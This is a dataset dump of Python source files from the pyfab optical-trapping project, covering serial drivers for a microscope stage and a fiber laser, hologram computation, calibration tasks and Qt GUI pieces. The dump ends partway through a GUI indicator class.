index
int64
repo_name
string
branch_name
string
path
string
content
string
import_graph
string
70,084
dalerxli/pyfab
refs/heads/master
/pyfablib/IPG/__init__.py
from ipglaser import ipglaser from QIPGLaser import QIPGLaser __all__ = ['ipglaser', 'QIPGLaser']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,085
dalerxli/pyfab
refs/heads/master
/pyfablib/proscan/pyproscan.py
from common.SerialDevice import SerialDevice class pyproscan(SerialDevice): def __init__(self): super(pyproscan, self).__init__() self.compatibilityMode(False) self.vmax = self.maxSpeed() self.vzmax = self.maxZSpeed() self.a = self.acceleration() self.az = self.zAcceleration() self.s = self.scurve() self.sz = self.zScurve() self.cycle = 0 def command(self, str, expect=None): self.write(str) response = self.readln() if expect is None or response is None or expect in response: return response if 'PASS' in response: print(response) self.cycle = response # FIXME get number response = self.readln() if expect is None or response is None or expect in response: return response print('##### unexpected:', response) return None # Status commands def identify(self): res = self.command('VERSION') return len(res) == 3 def compatibilityMode(self, mode=None): if mode is not None: self.command('COMP,%d' % bool(mode)) return bool(self.command('COMP')) def stageMoving(self): return (int(self.command('$,S')) != 0) # Stage motion controls def stop(self): '''Stop all motion ''' return self.command('I') def halt(self): '''Emergency stop ''' return self.command('K') def moveTo(self, x, y, z=None): '''Move stage to absolute position (x, y, z) [um] ''' if z is None: self.command('G,%d,%d' % (x, y)) else: self.command('G,%d,%d,%d' % (x, y, z)) def moveBy(self, dx, dy, dz=None): '''Displace stage by specified amount (dx, dy, dz) [um] ''' if dz is None: self.command('GR,%d,%d' % (dx, dy)) else: self.command('GR,%d,%d,%d' & (dx, dy, dz)) def moveX(self, x): '''Move stage along x axis to specified position [um] ''' self.command('GX,%d' % x) def moveY(self, y): '''Move stage along y axis to specified position [um] ''' self.command('GY,%d' % y) def moveZ(self, z): '''Move stage along z axis to specified position [um] ''' self.command('GZ,%d' % z) # Properties of motion controller def position(self): '''Return current position of stage [um] ''' pos = self.command('P', expect=',') return [int(x) for x in pos.split(',')] def x(self): '''Return x-position of stage [um] ''' return int(self.command('PX')) def y(self): '''Return y-position of stage [um] ''' return int(self.command('PY')) def z(self): '''Return z-position of stage [um] ''' return int(self.command('PZ')) def setPosition(self, x=None, y=None, z=None): '''Define coordinates for current stage position ''' if x is not None: if isinstance(x, list): y = x[1] z = x[2] x = x[0] self.command('PX,%d' % x) if y is not None: self.command('PY,%d' % y) if z is not None: self.command('PZ,%d' % z) def resolution(self): '''Return resolution of stage motion [um] ''' rx = float(self.command('RES,x')) ry = float(self.command('RES,y')) rz = float(self.command('RES,z')) return(rx, ry, rz) def maxSpeed(self): '''Return maximum speed of in-plane motions [um/s] ''' return int(self.command('SMS')) def setMaxSpeed(self, speed): '''Set maximum in-plane speed [um/s] ''' self.command('SMS,%d' % speed) def maxZSpeed(self): '''Return maximum axial speed [um/s] ''' return int(self.command('SMZ')) def setMaxZSpeed(self, speed): '''Set maximum axial speed [um/s] ''' self.command('SMZ,%d' % speed) def acceleration(self): '''Return in-plane acceleration [um/s^2] ''' return int(self.command('SAS')) def setAcceleration(self, acceleration): '''Set in-plane acceleration [um/s^2] ''' self.command('SAS,%d' % acceleration) def zAcceleration(self): '''Return axial acceleration [um/s^2] ''' return int(self.command('SAZ')) def setZAcceleration(self, acceleration): '''Set axial acceleration [um/s^2] ''' self.command('SAZ,%d' % acceleration) def scurve(self): '''Return in-plane s-curve value [um/s^3] ''' return int(self.command('SCS')) def setSCurve(self, scurve): '''Set in-plane s-curve value [um/s^3] ''' self.command('SCS,%d' % scurve) def zScurve(self): '''Return axial s-curve value [um/s^3] ''' return int(self.command('SCZ')) def setZSCurve(self, scurve): '''Set axial s-curve value [um/s^3] ''' self.command('SCZ,%d' % scurve) def reset(self): '''Reset motion controls to starting values ''' self.setMaxSpeed(self.vmax) self.setMaxZSpeed(self.vzmax) self.setAcceleration(self.a) self.setZAcceleration(self.az) self.setSCurve(self.s) self.setZSCurve(self.sz) def main(): a = pyproscan() print('position:', a.position()) print('resolution:', a.resolution()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,086
dalerxli/pyfab
refs/heads/master
/tasks/stagesinusoid.py
from task import task class stagesinusoid(task): def __init__(self, amplitude=10, speed=10, cycles=1, **kwargs): super(stagesinusoid, self).__init__(**kwargs) self.amplitude = amplitude self.speed = speed self.cycles = cycles def initialize(self): self.stage = self.parent.wstage.instrument self.position = self.stage.position() acceleration = self.speed**2/(6.*self.amplitude) scurve = acceleration**2/(2.*self.speed) self.stage.setMaxSpeed(1.5*self.speed) self.stage.setAcceleration(acceleration) self.stage.setSCurve(scurve) x0 = self.position[0] self.goals = [x0 + self.amplitude] for n in range(self.cycles): self.goals.extend([x0 - self.amplitude, x0 + self.amplitude]) self.goals.append(x0) self.stage.moveX(self.goals[0]) def doprocess(self, frame): if self.stage.x() == self.goals[0]: self.goals.pop(0) if len(self.goals) > 0: self.stage.moveX(self.goals[0]) self.nframes = len(self.goals) def dotask(self): self.stage.reset()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,087
dalerxli/pyfab
refs/heads/master
/tasks/calibrate_haar.py
from task import task from maxtask import maxtask from cleartraps import cleartraps from createtrap import createtrap from PyQt4.QtGui import QVector3D import numpy as np import matplotlib.pyplot as plt class haar_summary(task): def __init__(self, **kwargs): super(haar_summary, self).__init__(**kwargs) self.background = 0. self.data = [] def initialize(self): print('summary') def append(self, data): print(data) self.data.append(data) def dotask(self): data = np.array(self.data) plt.scatter(data[:,0], data[:,1]) plt.show() print('done') class background(maxtask): def __init__(self, roi, summary, **kwargs): super(background, self).__init__(**kwargs) self.roi = roi self.summary = summary def initialize(self): print('background') def dotask(self): self.summary.background = np.sum(self.frame[self.roi]).astype(float) print('background', self.summary.background) class wavelet_response(maxtask): def __init__(self, roi, summary, val, **kwargs): super(wavelet_response, self).__init__(**kwargs) self.roi = roi self.summary = summary self.val = val def initialize(self): trap = self.parent.pattern.flatten()[0] psi = trap.psi psi[0:psi.shape[0]/2,:] *= np.exp(1j * np.pi * self.val / 128.) self.parent.slm.data = self.parent.cgh.quantize(psi) def dotask(self): v = np.sum(self.frame[self.roi]).astype(float) bg = self.summary.background self.summary.append([self.val, v-bg]) class calibrate_haar(task): def __init__(self, **kwargs): super(calibrate_haar, self).__init__(**kwargs) def initialize(self): dim = 15 xc = 100 yc = 100 roi = np.ogrid[yc-dim:yc+dim+1, xc-dim:xc+dim+1] summary = haar_summary() register = self.parent.tasks.registerTask register(cleartraps()) register(background(roi, summary, delay=5, nframes=60)) register(createtrap(xc, yc)) for val in range(0, 255, 5): register(wavelet_response(roi, summary, val, delay=5, nframes=60)) register(summary) register(cleartraps())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,088
dalerxli/pyfab
refs/heads/master
/pyfablib/CGH/CGH.py
#!/usr/bin/env python """CGH.py: compute phase-only holograms for optical traps.""" import numpy as np from PyQt4 import QtGui, QtCore from numba import jit import json from time import time class CGH(QtCore.QObject): """Base class for computing computer-generated holograms. For each trap, the coordinate r obtained from the fabscreen is measured relative to the calibrated location rc of the zeroth-order focal point, which itself is measured relative to the center of the focal plane. The resulting displacement is projected onto the coordinate system in the SLM place. Projection involves a calibrated rotation about z with a rotation matrix m. The hologram is computed using calibrated wavenumbers for the Cartesian coordinates in the SLM plane. These differ from each other because the SLM is likely to be tilted relative to the optical axis. NOTES: This version calls QtGui.qApp.processEvents() after computing each trap's holograms. This keeps the GUI responsive, but is ugly and slows the CGH computation. It would be better to move CGH into its own thread, or at least to push the computation into its own thread. """ sigComputing = QtCore.pyqtSignal(bool) def __init__(self, slm=None): super(CGH, self).__init__() self.traps = [] # SLM geometry self.slm = slm self.w = self.slm.width() self.h = self.slm.height() # Conversion from SLM pixels to wavenumbers self._qpp = 2. * np.pi / self.w / 10. # Effective aspect ratio of SLM pixels self._alpha = 1. # Location of optical axis in SLM coordinates self._rs = QtCore.QPointF(self.w / 2., self.h / 2.) self.updateGeometry() # Coordinate transformation matrix for trap locations self.m = QtGui.QMatrix4x4() # Location of optical axis in camera coordinates self._rc = QtGui.QVector3D(320., 240., 0.) # Orientation of camera relative to SLM self._theta = 0. self.updateTransformationMatrix() @jit(parallel=True) def quantize(self, psi): phi = ((128. / np.pi) * np.angle(psi) + 127.).astype(np.uint8) return phi.T @jit(parallel=True) def compute_one(self, amp, r, buffer): """Compute phase hologram to displace a trap with a specified complex amplitude to a specified position """ ex = np.exp(self.iqx * r.x() + self.iqxsq * r.z()) ey = np.exp(self.iqy * r.y() + self.iqysq * r.z()) np.outer(amp * ex, ey, buffer) def window(self, r): x = 0.5 * np.pi * np.array([r.x() / self.w, r.y() / self.h]) fac = 1. / np.prod(np.sinc(x)) return np.min((np.abs(fac), 100.)) @jit(parallel=True) def compute(self, all=False): """Compute phase hologram for specified traps """ self.sigComputing.emit(True) start = time() self._psi.fill(0. + 0j) for trap in self.traps: if ((all is True) or (trap.state == trap.state.selected) or (trap.psi is None)): r = self.m * trap.r amp = trap.amp * self.window(r) if trap.psi is None: trap.psi = self._psi.copy() self.compute_one(amp, r, trap.psi) self._psi += trap.psi QtGui.qApp.processEvents() # QtGui.qApp.processEvents(QtCore.QEventLoop.ExcludeUserInputEvents) self.slm.data = self.quantize(self._psi) self.time = time() - start self.sigComputing.emit(False) def outertheta(self, x, y): return np.arctan2.outer(y, x) def updateGeometry(self): """Compute position-dependent properties in SLM plane and allocate buffers. """ shape = (self.w, self.h) self._psi = np.zeros(shape, dtype=np.complex_) qx = np.arange(self.w) - self.rs.x() qy = np.arange(self.h) - self.rs.y() qx = self.qpp * qx qy = self.alpha * self.qpp * qy self.iqx = 1j * qx self.iqy = 1j * qy self.iqxsq = 1j * qx * qx self.iqysq = 1j * qy * qy self.itheta = 1j * self.outertheta(qx, qy) @property def rs(self): return self._rs @rs.setter def rs(self, rs): if isinstance(rs, QtCore.QPointF): self._rs = rs else: self._rs = QtCore.QPointF(rs[0], rs[1]) self.updateGeometry() self.compute(all=True) @property def qpp(self): return self._qpp @qpp.setter def qpp(self, qpp): self._qpp = float(qpp) self.updateGeometry() self.compute(all=True) @property def alpha(self): return self._alpha @alpha.setter def alpha(self, alpha): self._alpha = float(alpha) self.updateGeometry() self.compute(all=True) def updateTransformationMatrix(self): self.m.setToIdentity() self.m.rotate(self.theta, 0., 0., 1.) self.m.translate(-self.rc) @property def rc(self): return self._rc @rc.setter def rc(self, rc): if isinstance(rc, QtGui.QVector3D): self._rc = rc else: self._rc = QtGui.QVector3D(rc[0], rc[1], rc[2]) self.updateTransformationMatrix() self.compute(all=True) @property def theta(self): return self._theta @theta.setter def theta(self, theta): self._theta = float(theta) self.updateTransformationMatrix() self.compute(all=True) @property def calibration(self): return {'qpp': self.qpp, 'alpha': self.alpha, 'rs': (self.rs.x(), self.rs.y()), 'rc': (self.rc.x(), self.rc.y(), self.rc.z()), 'theta': self.theta} @calibration.setter def calibration(self, values): if not isinstance(values, dict): return for attribute, value in values.iteritems(): try: setattr(self, attribute, value) except AttributeError: print('unknown attribute:', attribute) def serialize(self): return json.dumps(self.calibration, indent=2, separators=(',', ': '), ensure_ascii=False) def deserialize(self, s): values = json.loads(s) self.calibration = values
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,089
dalerxli/pyfab
refs/heads/master
/pyfablib/CGH/__init__.py
import logging try: from cudaCGH import cudaCGH as CGH except ImportError: logging.warning( 'Could not load CUDA CGH pipeline.\n' + '\tFalling back to CPU pipeline.') from CGH import CGH from QCGH import QCGH __all__ = ['CGH', 'QCGH']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,090
dalerxli/pyfab
refs/heads/master
/tasks/createtrap.py
from task import task from PyQt4.QtGui import QVector3D class createtrap(task): def __init__(self, x=100, y=100, z=0, **kwargs): super(createtrap, self).__init__(**kwargs) self.x = x self.y = y self.z = z def initialize(self): print('createtrap') pos = QVector3D(self.x, self.y, self.z) self.parent.pattern.createTraps(pos) self.done = True
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,091
dalerxli/pyfab
refs/heads/master
/jansenlib/video/__init__.py
from QFabVideo import QFabVideo from QFabFilter import QFabFilter __all__ = ['QFabVideo', 'QFabFilter']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,092
dalerxli/pyfab
refs/heads/master
/tasks/findtraps.py
from maxtask import maxtask import trackpy as tp class findtraps(maxtask): def __init__(self, ntraps=None, **kwargs): super(findtraps, self).__init__(**kwargs) self.ntraps = ntraps self.traps = None def dotask(self): self.traps = tp.locate(self.frame, 11, characterize=False, topn=self.ntraps) print(self.traps)
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,093
dalerxli/pyfab
refs/heads/master
/pyfablib/IPG/ipglaser.py
from common.SerialDevice import SerialDevice import logging class ipglaser(SerialDevice): flag = {'ERR': 0x1, 'TMP': 0x2, # TMP: ERROR: over-temperature condition 'EMX': 0x4, # EMX: laser emission 'BKR': 0x8, # BKR: ERROR: excessive backreflection 'ACL': 0x10, # ACL: analog control mode enabled 'MDC': 0x40, # MDC: module communication disconnected 'MFL': 0x80, # MFL: module(s) have failed 'AIM': 0x100, # AIM: aiming beam on 'PWR': 0x800, # PWR: ERROR: power supply off 'MOD': 0x1000, # MOD: modulation enabled 'ENA': 0x4000, # ENA: laser enable is asserted 'EMS': 0x8000, # EMS: emission startup 'UNX': 0x20000, # UNX: ERROR: unexpected emission detected 'KEY': 0x200000} # KEY: keyswitch in REM position def __init__(self): super(ipglaser, self).__init__(baudrate=57600) self.flag['ERR'] = (self.flag['TMP'] | self.flag['BKR'] | self.flag['PWR'] | self.flag['UNX']) def identify(self): return len(self.version()) > 3 def command(self, str): self.write(str) res = self.readln() if str not in res: return str res = res.replace(str, '').replace(': ', '') return res def version(self): return self.command('RFV') def power(self): res = self.command('ROP') if 'Off' in res: power = 0. elif 'Low' in res: power = 0.1 else: power = float(res) return power def flags(self): return int(self.command('STA')) def flagSet(self, flagstr, flags=None): if not isinstance(flags, int): flags = self.flags() return bool(self.flags() & self.flag[flagstr]) def current(self): cur = float(self.command('RDC')) min = float(self.command('RNC')) set = float(self.command('RCS')) return cur, min, set def temperature(self): return float(self.command('RCT')) def keyswitch(self, flags=None): return not self.flagSet('KEY', flags) def startup(self, flags=None): return self.flagSet('EMS', flags) def emission(self, flags=flags, state=None): if state is True: res = self.command('EMON') return 'ERR' not in res if state is False: res = self.command('EMOFF') return 'ERR' not in res return self.flagSet('EMX', flags) def aimingbeam(self, state=None): if state is True: self.command('ABN') elif state is False: self.command('ABF') return self.flagSet('AIM') def error(self, flags=None): if not self.flagSet('ERR', flags): logging.info('No errors') return False if self.flagSet('TMP', flags): logging.warning('ERROR: Over-temperature condition') if self.flagSet('BKR', flags): logging.warning('ERROR: Excessive backreflection') if self.flagSet('PWR', flags): logging.warning('ERROR: Power supply off') if self.flagSet('UNX', flags): logging.warning('ERROR: Unexpected laser output') return True def main(): a = ipglaser() print(a.power()) b = ipglaser() print(b.power()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,094
dalerxli/pyfab
refs/heads/master
/tasks/calibrate_rc.py
from maxtask import maxtask import trackpy as tp class calibrate_rc(maxtask): def __init__(self, **kwargs): super(calibrate_rc, self).__init__(**kwargs) def initialize(self): self.parent.pattern.clearTraps() def dotask(self): f = tp.locate(self.frame, 11, topn=1, characterize=False) self.parent.wcgh.xc = f['x'] self.parent.wcgh.yc = f['y']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,095
dalerxli/pyfab
refs/heads/master
/common/fabconfig.py
import json import os import io from datetime import datetime from PyQt4 import QtGui import logging class fabconfig(object): def __init__(self, parent): self.parent = parent self.datadir = os.path.expanduser('~/data/') self.configdir = os.path.expanduser('~/.pyfab/') self.configfile = os.path.join(self.configdir, 'pyfab.json') if not os.path.exists(self.datadir): logging.info('Creating data directory: '+self.datadir) os.makedirs(self.datadir) if not os.path.exists(self.configdir): logging.info('Creating configuration directory: '+self.configdir) os.makedirs(self.configdir) def timestamp(self): return datetime.now().strftime('_%Y%b%d_%H%M%S') def filename(self, prefix='pyfab', suffix=None): return os.path.join(self.datadir, prefix + self.timestamp() + suffix) def save(self, object): configuration = json.dumps(object.calibration, indent=2, separators=(',', ': '), ensure_ascii=False) with io.open(self.configfile, 'w', encoding='utf8') as configfile: configfile.write(unicode(configuration)) def restore(self, object): try: config = json.load(io.open(self.configfile)) object.calibration = config except IOError as ex: msg = ('Could not read configuration file:\n\t' + str(ex) + '\n\tUsing default configuration.') logging.warning(msg) def query_save(self, object): query = 'Save current configuration?' reply = QtGui.QMessageBox.question(self.parent, 'Confirmation', query, QtGui.QMessageBox.Yes, QtGui.QMessageBox.No) if reply == QtGui.QMessageBox.Yes: self.save(object) else: pass
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,096
dalerxli/pyfab
refs/heads/master
/jansenlib/QJansenScreen.py
#!/usr/bin/env python """QJansenScreen.py: PyQt GUI for live video with graphical overlay.""" import pyqtgraph as pg from pyqtgraph.Qt import QtCore, QtGui from video.QVideoItem import QVideoItem class QJansenScreen(pg.GraphicsLayoutWidget): """Interactive display for pyfab system. QJansenScreen ncorporates a QVideoItem to display live video. Additional GraphicsItems can be added to the viewbox as overlays over the video stream. Interaction with graphical items is facilitated by emitting custom signals corresponding to mouse events. A separate module must interpret these signals and update the graphics display accordingly. """ sigMousePress = QtCore.pyqtSignal(QtGui.QMouseEvent) sigMouseMove = QtCore.pyqtSignal(QtGui.QMouseEvent) sigMouseRelease = QtCore.pyqtSignal(QtGui.QMouseEvent) sigMouseWheel = QtCore.pyqtSignal(QtGui.QWheelEvent) def __init__(self, parent=None, **kwargs): super(QJansenScreen, self).__init__(parent) # VideoItem displays video feed self.video = QVideoItem(**kwargs) # ViewBox presents video and contains overlays self.viewbox = self.addViewBox(enableMenu=False, enableMouse=False, lockAspect=1.) self.viewbox.setRange(self.video.device.roi, padding=0, update=True) self.viewbox.addItem(self.video) self.emitSignals = True def addOverlay(self, graphicsItem): """Convenience routine for placing overlays over video.""" self.viewbox.addItem(graphicsItem) def removeOverlay(self, graphicsItem): """Convenience routine for removing overlays.""" self.viewbox.removeItem(graphicsItem) def closeEvent(self, event): self.video.close() def mousePressEvent(self, event): if self.emitSignals: self.sigMousePress.emit(event) event.accept() def mouseMoveEvent(self, event): if self.emitSignals: self.sigMouseMove.emit(event) event.accept() def mouseReleaseEvent(self, event): if self.emitSignals: self.sigMouseRelease.emit(event) event.accept() def wheelEvent(self, event): if self.emitSignals: self.sigMouseWheel.emit(event) event.accept()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,097
dalerxli/pyfab
refs/heads/master
/pyfablib/IPG/QIPGLaser.py
from PyQt4 import QtCore, QtGui import os import numpy as np from .ipglaser import ipglaser as ipg import atexit def led(name): led_size = 24 dir = os.path.dirname(__file__) filename = os.path.join(dir, 'icons/' + name + '.png') return QtGui.QPixmap(filename).scaledToWidth(led_size) class indicator(QtGui.QWidget): def __init__(self, title, states=None, button=False, **kwargs): super(indicator, self).__init__(**kwargs) self.title = title self.led_size = 24 if states is None: states = [led('green-led-off'), led('green-led-on')] self.states = states self.init_ui(button) def init_ui(self, button): layout = QtGui.QVBoxLayout() layout.setMargin(0) layout.setSpacing(1) if button: self.button = QtGui.QPushButton(self.title, self) layout.addWidget(self.button) else: w = QtGui.QLabel(self.title) w.setAlignment(QtCore.Qt.AlignCenter) layout.addWidget(w) self.led = QtGui.QLabel() self.led.setAlignment(QtCore.Qt.AlignCenter) self.led.setPixmap(self.states[0]) layout.addWidget(self.led) self.setLayout(layout) def 